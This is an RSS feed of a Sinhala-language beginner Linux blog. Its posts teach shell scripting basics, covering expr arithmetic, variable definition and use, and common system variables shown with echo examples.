<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-9165847937691595769</atom:id><lastBuildDate>Sat, 05 Oct 2024 02:01:37 +0000</lastBuildDate><category>Linux</category><category>මූලික සංකල්ප</category><category>commands</category><category>Basic</category><category>Operating Systems</category><category>shell scripting</category><category>Sinhala</category><category>Unix</category><category>FOSS</category><category>Linux Distro</category><category>Ubuntu</category><category>superuser</category><category>windows</category><category>Sinhala Linux</category><category>Bootable</category><category>C</category><category>Drivers</category><category>Fedora</category><category>File Hierarchy</category><category>History</category><category>Mint</category><category>Pen Drivers</category><category>Tips</category><category>USB</category><category>Ubuntu Installer</category><category>Wubi</category><category>illegal software</category><category>root</category><category>නොකලයුතු දේවල්</category><title> Linux සිංහලෙන්®</title><description>ලිනක්ස් ගැන ඉගෙනගන්න ආසාවෙන් ඉන්න අයට සිංහලෙන් අත් වැල.</description><link>http://linux-sinhala.blogspot.com/</link><managingEditor>noreply@blogger.com (Dulanja Subodhana)</managingEditor><generator>Blogger</generator><openSearch:totalResults>26</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-2558880889992314731</guid><pubDate>Sat, 26 Dec 2015 18:51:00 +0000</pubDate><atom:updated>2015-12-27T00:21:57.396+05:30</atom:updated><title>Linux සිංහලෙන්® දෙවැනි ගමන.</title><description>මුලින්ම දීර්ඝ කාලයක් තිස්සේ ලිපි නොලිවීම සම්බන්ධව පාඨක ඔබ සියළු දෙනාගෙන්ම සමාව ඉල්ලා සිටිනවා. පසුගිය වසරත් මේ ගෙවීයන වසරත් මගේ අධ්‍යාපනික ජීවිතයේ අතිශය වැදගත් හා සංවේදි කාල පරාසයක් විය. ඒ නිසා මෙම ලිපි මාළාව නොකඩවා පවත්වාගෙන යෑමට නොහැකිවීම සම්බන්ධව නැවතත් ඔබ සැමගෙන් සමාව ඉල්ලා සිටිනවා. මේ වැඩේ පටන්ගද්දි මට තිබුනේ එකම අරමුණකි.&amp;nbsp;එනම් ලිනක්ස් ගැන මම දන්න සියළුම දේ සිංහලෙන් කියලා දීම. ඇත්තටම හොඳ ආරම්භයක් ලැබුණා. දිරිගැන්වීම් තවමත් ලැබෙනවා. ඇත්තටම මේ ලිපි පෙලින් ප්‍රයෝජනයක් ගත්තු පිරිසක් ඉන්නවා. මේ හරහා මා සමඟ සම්බන්ධ වෙච්ච අය ගොඩාක් සිටිනවා. ඒ අයට ලිනක්ස් ගැන පමණක් නොව ඉංජිනේරු ක්ෂේත්‍රය, උසස් අධ්‍යාපනය සම්බන්ධව ගොඩාක් උපදෙස් දෙන්නත් අවස්ථාව ලැබුනා. ඒ නිසා මගේ උත්සහය අපතේ ගිය නෑ කියලා හිතෙනවා. මට ගොඩාක් සතුටු වෙන්න පුළුවන් දේවල් ගොඩාක් වුනා.&lt;br /&gt;
&lt;br /&gt;
ඒ නිසාම මේ වැඩේ අතහරින්නේ නැතුව ඉදිරියට කරගෙන යන්න මට පෙළඹවීමක් ඇතිවෙනවා. අපි අපේ පාඩම් මාළාව නොකඩවා ඉදිරියට කරගෙන යමු. මෙතැන් පටන් ලිනක්ස් සම්බන්ධ විවිධ ලිපි ඔබ හමුවට ගෙන ඒමට මම බලාපොරොත්තු වෙනවා.. දිගටම රැඳී සිටින්න මම ඔබට ආරාධනා කරනවා. අළුත්ම ලිපියකින් ලබන සතියේ සිට අපි වැඩ පටන් ගමු.</description><link>http://linux-sinhala.blogspot.com/2015/12/linux.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-6446401855837592108</guid><pubDate>Mon, 08 Sep 2014 21:13:00 +0000</pubDate><atom:updated>2014-09-09T02:43:18.206+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">shell scripting</category><title>Shell Scripting #3 - ගණිත කර්ම - Shell Arithmatics</title><description>හොඳයි අපි එහෙනම් Shell Scripting වල තවත් එක් වැදගත් මෙහෙයුමක් වන ගණිත කර්ම භාවිතය එහෙමත් නැත්තම් Shell Arithmetic ගැන ඉගෙන ගමු. Computer Programming වලදි අපි ගණිත කර්ම භාවිතා කරන විට එක එක පරිගණක භාෂාවට (Computer Language, Ex: Java, Python, C.. )&amp;nbsp; අනුව එම ගණිත කර්ම යොදා ගන්නා ආකාරය වෙනස් වෙනවා. Shell scripting කියන්නෙත් හරියට programming වගේ දෙයක්ම තමා. ඒ නිසා shell scripting වලදි ගණිත කර්ම යොදාගන්නේ කොහොමද කියලා අපි දැන් කථා කරමු.&lt;br /&gt;
&lt;br /&gt;
Shell scripting වල ගණිත කර්ම භාවිතා කරද්දි අනුගමනය කරන්න ඕනේ මූලික ආකාරය.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
Syntax:&lt;br /&gt;
expr var1 math-operator var2&lt;/blockquote&gt;
var1 = විච්‍යය 1, var2 = විච්‍යය 2&lt;br /&gt;
math -operator යනු පහත දක්වා ඇති ගණිත කර්මයන්ය.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;tt&gt;+&lt;/tt&gt;, &lt;tt&gt;-&lt;/tt&gt;, &lt;tt&gt;*&lt;/tt&gt;, &lt;tt&gt;/&lt;/tt&gt;, &lt;tt&gt;%&lt;/tt&gt;
(remainder),
&lt;tt&gt;&amp;lt;&lt;/tt&gt;, &lt;tt&gt;&amp;lt;=&lt;/tt&gt;, &lt;tt&gt;=&lt;/tt&gt;, &lt;tt&gt;!=&lt;/tt&gt;, &lt;tt&gt;&amp;gt;=&lt;/tt&gt;,
&lt;tt&gt;&amp;gt;&lt;/tt&gt;,
&lt;tt&gt;|&lt;/tt&gt;
(OR) and &lt;tt&gt;&amp;amp;&lt;/tt&gt; (AND).&lt;/blockquote&gt;
උදාහරණ:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;ඉලක්කම් සමඟ
&lt;ul&gt;
&lt;li&gt;$ expr 3&amp;nbsp;+ 2 &lt;/li&gt;
&lt;li&gt;$ expr 5 - 3&lt;/li&gt;
&lt;li&gt;$ expr 10 / 2&lt;/li&gt;
&lt;li&gt;$ expr&amp;nbsp; 5 \* 10&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiplBm-JmOKwKL7ze6jjpEjnSQ5BRO8T0bFITmxulXmIj9uft0_n9csJROmoPUPQHTLVRIiSXWeXH5MBSbstJwHZ_s4DDa-Ili0MBVFe-SPmC32Zf5ICXDlZfz8t2bl5BvnJ8NZWvmZf-o/s1600/exprEx1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiplBm-JmOKwKL7ze6jjpEjnSQ5BRO8T0bFITmxulXmIj9uft0_n9csJROmoPUPQHTLVRIiSXWeXH5MBSbstJwHZ_s4DDa-Ili0MBVFe-SPmC32Zf5ICXDlZfz8t2bl5BvnJ8NZWvmZf-o/s1600/exprEx1.PNG&quot; height=&quot;183&quot; width=&quot;320&quot; /&gt; &lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;විචල්‍යය සමඟ&lt;ul&gt;
&lt;li&gt;$ x=10
&lt;/li&gt;
&lt;li&gt;$ y=5
&lt;/li&gt;
&lt;li&gt;$ expr $x + $y&lt;/li&gt;
&lt;li&gt;$ expr $x - $y&lt;/li&gt;
&lt;li&gt;$ expr $x / $y&lt;/li&gt;
&lt;li&gt;$ expr $x \* $y&lt;/li&gt;
&lt;li&gt;$ echo `expr $x + $y`&lt;/li&gt;
&lt;li&gt;$ echo `expr $x \* $y`&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEDqmTAtJJy3lm4oZJWQLUC9U8-1aEoRiAYyBdNGF0baJKOFeqvZ-XV28M4phgsiHYZrM5sRewuFZyFXToVoX298GLJKQZ-E0qmU7E1yZLkJd2iEzmGFxjSvXfTPyPHJo17UtaVTV6K7Q/s1600/variOp.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEDqmTAtJJy3lm4oZJWQLUC9U8-1aEoRiAYyBdNGF0baJKOFeqvZ-XV28M4phgsiHYZrM5sRewuFZyFXToVoX298GLJKQZ-E0qmU7E1yZLkJd2iEzmGFxjSvXfTPyPHJo17UtaVTV6K7Q/s1600/variOp.PNG&quot; height=&quot;248&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;color: red;&quot;&gt;✔ සටහන:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
විධානය විධානය සමඟ භාවිතා කිරීමේදී expr විධානයට පෙර සහ පසුව ( ` ) සංකේතය භාවිතා කිරීමට වගබලා ගන්න. Back quote හෙවත් ( ` ) සංකේතය Single quote ( &#39; ) සහ Double quote ( &quot; ) සංකේත සමඟ පැටලීමට ඉඩ ඇත.&lt;br /&gt;
( ` ) සංකේතය බොහෝවිට Tab key එකට ඉහලින් keyboard එකේ පිහිටා ඇත.&lt;br /&gt;
Single quote හෝ double quote සංකේත භාවිතා කලහොත් ගණිත කර්මය සිදුවනවා වෙනුවට ( &#39; ) එක හෝ ( &quot; ) එක තුල ඇති සියලු දේ print වේ.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf-oVmVWiH0rfn0sWipoFa0kxDLLC4q09nAsPGB9X1VyZ8WpszVYA9r8msPmuZ0fY8NHSPpN9sRe4QSL4mjfZeiEb8Z9IGbCQ-7JJ2E7e3SYuYTjFqWHlQbKLAXWZjCZIyjBTEsvOMTI/s1600/exprIssue.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf-oVmVWiH0rfn0sWipoFa0kxDLLC4q09nAsPGB9X1VyZ8WpszVYA9r8msPmuZ0fY8NHSPpN9sRe4QSL4mjfZeiEb8Z9IGbCQ-7JJ2E7e3SYuYTjFqWHlQbKLAXWZjCZIyjBTEsvOMTI/s1600/exprIssue.PNG&quot; height=&quot;104&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://linux-sinhala.blogspot.com/2014/09/linux-shell-scripting-23.html&quot;&gt;&amp;nbsp;විචල්‍යය භාවිතය.&lt;/a&gt; || විධාන භාවිතය.&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2014/09/shell-scripting-3-shell-arithmatics.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiplBm-JmOKwKL7ze6jjpEjnSQ5BRO8T0bFITmxulXmIj9uft0_n9csJROmoPUPQHTLVRIiSXWeXH5MBSbstJwHZ_s4DDa-Ili0MBVFe-SPmC32Zf5ICXDlZfz8t2bl5BvnJ8NZWvmZf-o/s72-c/exprEx1.PNG" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-5777772423423549645</guid><pubDate>Thu, 04 Sep 2014 06:45:00 +0000</pubDate><atom:updated>2014-09-09T03:58:05.541+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">shell scripting</category><title> Linux සිංහලෙන් Shell Scripting #2.3 - විචල්‍යය භාවිතය.</title><description>මුලින්ම අවුරුද්දකට අධික කාලයක් ලිපියක් පළ නොකරාට පාඨක ඔබ සැමගෙන් සමාව ඉල්ල සිටිනවා. විශ්ව විද්‍යාලීය අධ්‍යාපනික සහ ක්‍රීඩා කටයුතු සමඟ කාර්‍යබහුල වුන බැවින් මෙතරම් කාලයක් බ්ලොග් එකේ වැඩ කටයුතු අඩාල වුන එකට නැවතත් සමාව ඉල්ලා සිටිනවා. මේ කාලයේදී නැවත ලිපි ලියන්න කියා දිරිමත් කල සියලු දෙනාට බොහෝමත් ස්තූතියි.&lt;br /&gt;
හොදයි අපි එහෙනම් නවත්තපු තැනින්ම පටන් ගමු.&amp;nbsp; ඔබට මතක ඇති අපි සාකච්ඡා කරමින් සිටියේ ගැන. Shell Scripting වලදි variables define එහෙමත් නැත්තම් විච්‍යය අර්ථ දැක්වීම තමා අපි අවසානයට කථා කරමින් සිටියේ. අද අපි කථා කරන්න යන්නේ මෙම අපි විසින් define කරන ලද variables කොහොමද භාවිතා කරන්නේ කියලා.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
පෙර ලිපියේදි අපි සාකච්ඡා කරා කොහොමද variable එකක් define කරන්නේ කියලා.&amp;nbsp; Shell scripting වලදි variable define කරන්නේ $ var=&#39;linux-sinhala&#39; ආකාරයට, මෙම variable එකේ value එක අපිට මෙම shell එකේදි අවශ්‍යය වෙලාවට භාවිතා කරන්න පුලුවන්. සරලම උදාහරණය තමා echo command එකේ භාවිතය. &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
$ name=&#39;linux-sinhala&#39;&lt;br /&gt;
$ echo $name&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkvDFh96erPRI4bpfIpXopqrZgGm3NMjduwvmFR9GSQilrMxeEU2tTvkDW-RnN53vDMzF3fWmwu3i0ad2Ig5nqhcmU445qZeUK3pI_s4TWi-HV98EuEIA6ZjnRe4HpjyW3LIL8butUIaI/s1600/Vari_Echo.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkvDFh96erPRI4bpfIpXopqrZgGm3NMjduwvmFR9GSQilrMxeEU2tTvkDW-RnN53vDMzF3fWmwu3i0ad2Ig5nqhcmU445qZeUK3pI_s4TWi-HV98EuEIA6ZjnRe4HpjyW3LIL8butUIaI/s1600/Vari_Echo.PNG&quot; height=&quot;105&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;color: #e06666;&quot;&gt;සටහන:&lt;/span&gt; echo command එක භාවිතයෙන් variables සමඟ ගනුදෙනු කරන විට &lt;u&gt;$ සංකේතය අනිවාර්‍යෙන් &lt;/u&gt;භාවිතා කරන්න. එය නැතුව විධාන කරොත් variable එකේ value එක වෙනුවට variable එකේ නම තමා වෙන්නේ.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9q9PBggFF-0CB1ij0-WyneH2wEfXbh7GhfSqGJ5u1erTIZGFqm9F5fbcwOAb4mxcq_WNt22OutQVb9nS_cbHD9xRqUPvKp557Kj3sRKIrdVhA0xtKdF7WLHvYIHZLU-qWyRottmVOkMY/s1600/Vari_Echo_Issue.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9q9PBggFF-0CB1ij0-WyneH2wEfXbh7GhfSqGJ5u1erTIZGFqm9F5fbcwOAb4mxcq_WNt22OutQVb9nS_cbHD9xRqUPvKp557Kj3sRKIrdVhA0xtKdF7WLHvYIHZLU-qWyRottmVOkMY/s1600/Vari_Echo_Issue.PNG&quot; height=&quot;109&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Shell Scripting වලදි ගණිත කර්ම &lt;span style=&quot;font-size: medium;&quot;&gt;(Shell Arithmatics&lt;/span&gt;) යොදාගන්නා ආකාරයත් සාකච්ඡා කරලම අපි shell scripts ලියන්න පටන් ගමු. බොහෝම ඉක්මනට වලදි ගණිත කර්ම භාවිතා කිරීමේදී යොදාගන්නා නීතී රීති පිළිබඳ ලිපියකින් හමුවෙමු.
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://linux-sinhala.blogspot.com/2013/08/linux-shell-scripting-22.html&quot;&gt;&amp;nbsp;විචල්‍යය අර්ථදැක්වීම.&lt;/a&gt; || &lt;a href=&quot;http://linux-sinhala.blogspot.com/2014/09/shell-scripting-3-shell-arithmatics.html&quot;&gt;ගණිත කර්ම.&lt;/a&gt;&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2014/09/linux-shell-scripting-23.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkvDFh96erPRI4bpfIpXopqrZgGm3NMjduwvmFR9GSQilrMxeEU2tTvkDW-RnN53vDMzF3fWmwu3i0ad2Ig5nqhcmU445qZeUK3pI_s4TWi-HV98EuEIA6ZjnRe4HpjyW3LIL8butUIaI/s72-c/Vari_Echo.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-1473594871653189993</guid><pubDate>Sat, 17 Aug 2013 11:06:00 +0000</pubDate><atom:updated>2014-09-04T12:19:07.128+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">shell scripting</category><title> Linux සිංහලෙන් Shell Scripting #2.2 - විචල්‍යය අර්ථදැක්වීම.</title><description>&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;විචල්‍යය අර්ථදැක්වීමේදි පිළිපැදිය යුතු නීතී සහ රීතී.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;විචල්‍යය නමක අක්ෂර, ඉලක්කම් සහ සංකේත යන මේ 3න් වර්ගයම අඩංගු විය හැකි නමුත් එම විචල්‍යය නම ආරම්භ කල යුත්තේ අක්ෂරයකින් හෝ _ සංකේතයකින් පමණි.&lt;br /&gt;උදාහරණ ලෙස පහත තිබෙන්නේ වලංගු විචල්‍යය නම් කිහිපයකි.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
HOME&lt;br /&gt;
var1&lt;br /&gt;
var_2&lt;br /&gt;
_num&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;විචල්‍යය නමකට space හෝ *, ? සංකේත භාවිත කල නොහැක. එම නිසා විචල්‍යය නම් කිරීමේදී ඒවා භාවිතා කිරීමෙන් වැළකෙන්න.&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;සමාන ලකුණෙන් එක පැත්තකට හෝ දෙපැත්තටම space යෙදීමෙන් වළකින්න.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;code&gt;$ no =10&lt;br /&gt; $ no= 10&lt;br /&gt; $ no = 10&lt;br /&gt;ඉහත දක්වා ඇති සියළුම විචල්‍යය නම් කිරීම් වලංගු නොවන අතර නිවැරදි නම් කිරීම වනුයේ,&lt;br /&gt;$ no=10&lt;/code&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;විචල්‍යය case-sensitive වේ. පහත දක්වා ඇති විචල්‍යය එකිනෙකට වෙනස් වේ.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;code&gt;$ no=10&lt;br /&gt; $ No=11&lt;br /&gt; $ NO=20&lt;br /&gt; $ nO=2&lt;/code&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;විචල්‍යයක අගය NULL වන ආකාරයට කරගැනීමට අවශ්‍යය නම් ඒ සඳහා පහත සඳහන් ක්‍රමය භාවිතා කල හැකිය.&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
$ var=&lt;br /&gt;
$ var=&quot;&quot;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
විචල්‍යය අර්ථදක්වන ආකාරය පිළිබඳව මූලික අවබෝධයක් ඔබට ලැබෙන්නට ඇති. මීළඟට අපි බලමු කොහොමද අපි මේ විචල්‍යය අපගේ shell scripting වලට යොදාගන්නේ කියලා.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://linux-sinhala.blogspot.com/2013/08/shellscript2-1.html&quot;&gt;&amp;nbsp;විචල්‍යය.&lt;/a&gt; || &lt;a href=&quot;http://linux-sinhala.blogspot.com/2014/09/linux-shell-scripting-23.html&quot;&gt;විචල්‍යය භාවිතය.&lt;/a&gt;&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2013/08/linux-shell-scripting-22.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-4819250395355743098</guid><pubDate>Sat, 17 Aug 2013 10:28:00 +0000</pubDate><atom:updated>2014-09-09T03:57:35.229+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">shell scripting</category><title>Shell Scripting #2.1 - විචල්‍යය - Variables.</title><description>පසුගිය &lt;a href=&quot;http://linux-sinhala.blogspot.com/2013/08/shellscript1.html&quot; target=&quot;_blank&quot;&gt;ලිපිය&lt;/a&gt; තුලින් shell scripting ගැන මූලික අදහසක් ලැබෙන්නට ඇති කියලා විශ්වාස කරනවා. ඇත්තටම බැලුවම මේ shell scripting කියන්නෙත් programming කරනවා වගේ වැඩක් තමා. අපි දන්නවා programming වලදි අපිට variables එහෙමත් නැත්තම් විචල්‍යය භාවිතා කිරීමට සිදු වෙනවා. අපි අද කථා කරන්න යන්නේ shell scripting වලදි විචල්‍යය භාවිතා කරන්නේ කොහොමද කියලා.&lt;br /&gt;
මුලිකවම shell scripting වලදි භාවිතා කරන විචල්‍යය වර්ග 2ක් තියෙනවා.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;&lt;b&gt;System Variables (SV)&lt;/b&gt;&lt;/u&gt;&lt;/span&gt; - මේවා ලිනක්ස් පද්ධතිය මඟින් නිර්මාණය කර, ලිනක්ස් පද්ධතිය තුලම භාවිතා වෙන විචල්‍යය වර්ගයයි. මේවා Upper-case letters මඟින් නම් කර තිබෙනවා. පහත දක්වා ඇත්තේ බහුලව භාවිතා කරන කිහිපයක්.&lt;/li&gt;
&lt;br /&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #cfcfcf;&quot;&gt;
&lt;th&gt;විචල්‍යය&lt;/th&gt;
&lt;th&gt;අර්ථය&lt;/th&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;BASH&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
භාවිතා කරන shell එකේ නම.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4f4f4;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;BASH_VERSION&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;භාවිතා කරන shell එකේ version එක.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;COLUMNS&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;Screen එකේ පෙන්නන column ගණන.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4f4f4;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;HOME&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;පද්ධතියේ Home ඩිරෙක්ටරයේ path එක.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;LINES&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;Screen එකේ පෙන්නන line ගණන.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4f4f4;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;LOGNAME&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;පද්ධතියේ logging name එක.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4f4f4;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;OSTYPE&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;පද්ධතියේ os type එක.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;PATH&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
පද්ධතියේ path සැකසුම.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4f4f4;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;PS1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;පද්ධතියේ prompt සැකසුම.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;PWD&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
දැනට වැඩ කරන ඩිරෙක්ටරයේ path එක.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4f4f4;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;SHELL&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;භාවිතා කරන shell එකේ නම.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #e7e7e7;&quot;&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;USERNAME&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
දැන් පද්ධතියට log වී සිටින පරිශීලකයාගේ නම.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;මේ විචල්‍යය වල තිබෙන අගයන් දැන ගැනීමට අවශ්‍යය නම් ඔබට තිබෙන්නේ සරළවම echo විධානය භාවිතා කිරීම පමණී.
උදාහරණයක් ලෙස ඔබට මේ වන විට පද්ධතියට log වී සිටින පරිශීලකයා දැන ගැනීමට අවශ්‍යය නම්,
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$echo $USERNAME&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
යනුවෙන් විධාන කර බලන්න.
ඒ වගේ ඉහත සඳහන් කරලා තියෙන සියළු විධාන echo&amp;nbsp; විධානය යටතේ ක්‍රියාත්මක කරලා බලන්න.
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$echo $HOME&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
